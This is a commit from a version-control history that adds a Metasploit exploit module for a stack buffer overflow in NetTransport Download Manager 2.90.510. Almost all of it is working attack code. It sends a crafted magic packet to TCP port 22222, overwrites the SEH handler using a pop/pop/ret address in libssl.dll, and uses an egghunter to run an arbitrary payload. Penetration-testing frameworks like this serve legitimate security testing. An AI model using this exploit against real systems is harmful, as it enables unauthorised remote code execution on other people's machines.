added exploit module nettransport.rb from dookie

git-svn-id: file:///home/svn/framework3/trunk@8062 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/misc/nettransport.rb

@@ -0,0 +1,83 @@
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Exploit::Egghunter
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
+			'Description'    => %q{
+				This exploits a stack overflow in NetTransport Download Manager,
+				part of the NetXfer suite. This module was tested
+				successfully against version 2.90.510.
+			},
+			'Author' 	 =>
+				[
+					'Lincoln',
+					'dookie',
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 7724 $',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.exploit-db.com/exploits/10911'],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},
+			
+			'Payload'        =>
+				{
+					'Space'    => 5000,
+					'BadChars' => "\x00\x20\x0a\x0d",
+					'StackAdjustment' => -3500,
+					'DisableNops'  =>  'True',
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
+				],
+			'DefaultTarget' => 0))
+			
+			register_options([Opt::RPORT(22222)], self.class)
+	end
+
+	def exploit
+		connect
+		
+		magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
+		magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
+		magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
+
+		# Unleash the Egghunter!
+		eh_stub, eh_egg = generate_egghunter
+
+		sploit = magic_packet
+		sploit << rand_text_alpha_upper(119)
+		sploit << "\xeb\x06\x90\x90"
+		sploit << [target.ret].pack('V')
+		sploit << make_nops(10)
+		sploit << eh_stub
+		sploit << make_nops(50)
+		sploit << eh_egg * 2
+		sploit << payload.encoded
+
+		print_status("Trying target #{target.name}...")
+		sock.put(sploit)
+		
+		handler
+		disconnect
+	end
+	
+	def wfs_delay
+		25
+	end
+end